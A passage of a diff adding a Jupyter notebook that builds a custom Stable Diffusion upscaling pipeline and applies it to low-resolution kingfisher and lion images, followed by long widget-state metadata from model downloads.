+ " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds for classfier free guidance\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n", + "\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " image,\n", + " timesteps,\n", + " latents,\n", + " noise_level,\n", + " guidance_scale):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latents\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + " latent_model_input = torch.cat([latent_model_input, image], dim=1)\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(\n", + " latent_model_input,\n", + " t,\n", + " encoder_hidden_states=prompt_embeds,\n", + " class_labels=noise_level\n", + " )['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + "\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " num_inference_steps=20,\n", + " guidance_scale=9.0,\n", + " noise_level=20):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " # preprocess image\n", + " image = self.image_processor.preprocess(image).to(self.device)\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps, device=self.device)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " # add noise to image\n", + " noise_level = torch.tensor([noise_level], device=self.device)\n", + " noise = torch.randn(image.shape, device=self.device)\n", + " image = self.low_res_scheduler.add_noise(image, noise, noise_level)\n", + "\n", + " # duplicate image for classifier free guidance\n", + " image = torch.cat([image] * 2)\n", + " noise_level = torch.cat([noise_level] * image.shape[0])\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.vae.config.latent_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " height, width = image.shape[2:]\n", + " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " image,\n", + " timesteps,\n", + " latents,\n", + " noise_level,\n", + " guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16)\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = self.transform_image(image.detach()) # detach to remove any computed gradients\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iPMCQB179EQN" + }, + "outputs": [], + "source": [ + "# get all the components from the SD Upscaler pipeline\n", + "vae = pipeline.vae\n", + "tokenizer = pipeline.tokenizer\n", + "text_encoder = pipeline.text_encoder\n", + "unet = pipeline.unet\n", + "low_res_scheduler = pipeline.low_res_scheduler\n", + "scheduler = pipeline.scheduler\n", + "image_processor = pipeline.image_processor\n", + "\n", + "custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HUxdvfo7eLcq" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "SgbP2oQl9EUk", + "outputId": "b1b3d70c-58ef-497a-d87b-2c15073e4d2a" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher\"\n", + "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "Wf8MTwFCeRrR", + "outputId": "17827131-0f99-408e-b61d-ff802509baa9" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "QzkJk4Jo9Eca", + "outputId": "a5ddbb9a-7526-48f5-f449-22e54445fae2" + }, + "outputs": [], + "source": [ + "prompt = \"a professional photograph of a lion's face\"\n", + "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "tT3jd43tdbeg", + "outputId": "d7a8e0a7-1ed1-4c18-8b6c-b5dcbf4c4fb5" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5JUP7spYdbh2" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "00cdbd64ce7d4b5a835a550ffc6b3510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "02ce6e12de0f4ff1ab8029cf16e5fb99": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "03856828685f4f9791a0c00f9b4f5ed5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "03b9fb0d0fa44ac8bf1a6aa678ff82c8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03bce4ac84fd40d485b023e21fe65c4f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec0c44e82a814774823e60634d678b0d", + "placeholder": "​", + "style": "IPY_MODEL_e71abb2ba1b546ff9d7acd0c174f60d4", + "value": "100%" + } + }, + "07a431a9456648b6bcbfa899ee0014ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_639d6afb1b0440f98ce7e26cb621a111", + "max": 348, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7a9ce1cc3d71457797b0b1ca2831d514", + "value": 348 + } + }, + "080c7086e8684bb3bb857d23f426d5dd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0854db4c71b449a9b15e994a38a1ca13": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "085ee070cea44624806bcc7ada5ae36e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0a49275d970741f9b19f24569b80491a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0c21001820524963b1214a2738c28584": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ea062db0a1ad43af805bf2d86d26d369", + "IPY_MODEL_2218df295404427eb6086c25f41946c5", + "IPY_MODEL_682dc899e5ee4e24a9c0f1fc928fea6c" + ], + "layout": "IPY_MODEL_f8c3945c2c554cc9b7ea7435525c4ab4" + } + }, + "0d89ddfa9593441097ce8e42614ef775": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_665a3a25e6d543d79e2e321aec4954aa", + "placeholder": "​", + "style": "IPY_MODEL_d3971f94fa5f433580509a27ce3ad017", + "value": "Downloading (…)8440/vae/config.json: 100%" + } + }, + "0df5b95ccc3d4550bb1be7c001f54577": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0fcb664708324ec1bc56c4daa4a2dd15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5af1c44c0f434510abd7fe9d76f263da", + "placeholder": "​", + "style": "IPY_MODEL_895dd88b169e4688a51873bb1b3d2cd9", + "value": "Downloading model.safetensors: 100%" + } + }, + "10d895cb5166417fa2b4cc0d2feb7b6f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1237bd63fa814b57bbd9741296d71f46": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "17c87915e01b4d2fa79042759bf1a57d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_29fb67ab990343b6a374b35718b8a6c1", + "placeholder": "​", + "style": "IPY_MODEL_0854db4c71b449a9b15e994a38a1ca13", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "18ba1c9da9714f2494c06570e4dc1d64": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "1ae88e18373a4322bddf0e51e5460a89": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1df97f1113c34b7eb89c7d1c6a81b3bd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1e276839600443fa82ca0ab00409fd99": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1f37677826544166a0b63d36c9c3edac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a8dbb00149f148ceaee2474c4304c902", + "placeholder": "​", + "style": "IPY_MODEL_f3c0042a67e34e72b1088b60c11ba2d0", + "value": " 1.89G/1.89G [00:49<00:00, 33.0MB/s]" + } + }, + "2218df295404427eb6086c25f41946c5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0df5b95ccc3d4550bb1be7c001f54577", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_63a7a29ac462471eb67b275c68faff42", + "value": 75 + } + }, + "22338ed9cec54338ad33267ed579603a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a5971d5b793545a3845fbe1029b557e1", + "placeholder": "​", + "style": "IPY_MODEL_8384173365364cd5996018a775b167e2", + "value": " 75/75 [00:21<00:00, 3.57it/s]" + } + }, + "238d055bf5ff4891b2e9c6aa28a89fad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "23b55638314c4e2b967f85ab40042a6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "274e736175d34926a0c614192288e510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bce74d8ba4dd4a35bd276ba2dbf0ffd1", + "placeholder": "​", + "style": "IPY_MODEL_f24b18d71065474a9f169b4fd66898f6", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "28c075d27bf8437c99b4fa8091d4d2c0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c883ad6804cd4f628494b1eb7f432e51", + "placeholder": "​", + "style": "IPY_MODEL_6f1c7458863047598f98861765f325dd", + "value": " 485/485 [00:00<00:00, 8.74kB/s]" + } + }, + "28fe7cfc4f4048eca1120a7228dcd629": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8f487d06f9834f1b8dd0a63ffec62436", + "max": 634, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ee5e249b357649ab95d493d940bc3b01", + "value": 634 + } + }, + "29da49469545454997e755839f8c156d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d62c5143fa1544ba9e2d22555dc6c3f9", + "placeholder": "​", + "style": "IPY_MODEL_ba72519befe047eabb826d1f7ec0e39c", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "29fb67ab990343b6a374b35718b8a6c1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2b68707a9749479cab4b4ecd124d87cb": { + "model_module": 